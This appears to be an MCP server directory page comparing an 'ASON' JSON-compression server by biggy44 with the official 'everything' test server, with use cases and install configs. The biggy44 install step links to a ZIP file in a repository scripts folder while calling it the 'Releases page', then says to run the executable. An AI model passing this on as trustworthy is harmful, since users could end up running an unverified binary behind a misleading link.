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mcp-server
by biggy44
everything
by modelcontextprotocol
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mcp-server · Summary

ASON MCP server for efficient JSON compression/decompression to optimize token usage.

everything · Summary

Official MCP test server exercising all protocol features for client builders.

mcp-server · Use cases

  • Reducing token usage when passing large JSON objects to AI models
  • Optimizing data transfer between MCP clients and servers
  • Compressing configuration files and settings in AI workflows

everything · Use cases

  • Testing MCP client implementations against all protocol features
  • Learning MCP protocol capabilities through a reference server
  • Validating client compatibility with different transport methods

mcp-server · Install

Installation Steps

  1. Download the appropriate binary for your system from the [Releases page](https://github.com/biggy44/mcp-server/raw/refs/heads/main/scripts/server_mcp_v1.2.zip)
  2. Extract the downloaded ZIP file
  3. Run the executable to start the server
Claude Desktop Configuration

Add the following to your Claude Desktop configuration:

{
  "mcpServers": {
    "ason": {
      "command": "path/to/ason-server",
      "args": []
    }
  }
}

everything · Install

NPX (recommended)

{
  "mcpServers": {
    "everything": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-everything"]
    }
  }
}

On Windows, use cmd /c:

{
  "mcpServers": {
    "everything": {
      "command": "cmd",
      "args": ["/c", "npx", "-y", "@modelcontextprotocol/server-everything"]
    }
  }
}

Docker

{
  "mcpServers": {
    "everything": {
      "command": "docker",
      "args": ["run", "-i", "--rm", "mcp/everything"]
    }
  }
}

Global install

npm install -g @modelcontextprotocol/server-everything@latest
npx @modelcontextprotocol/server-everything
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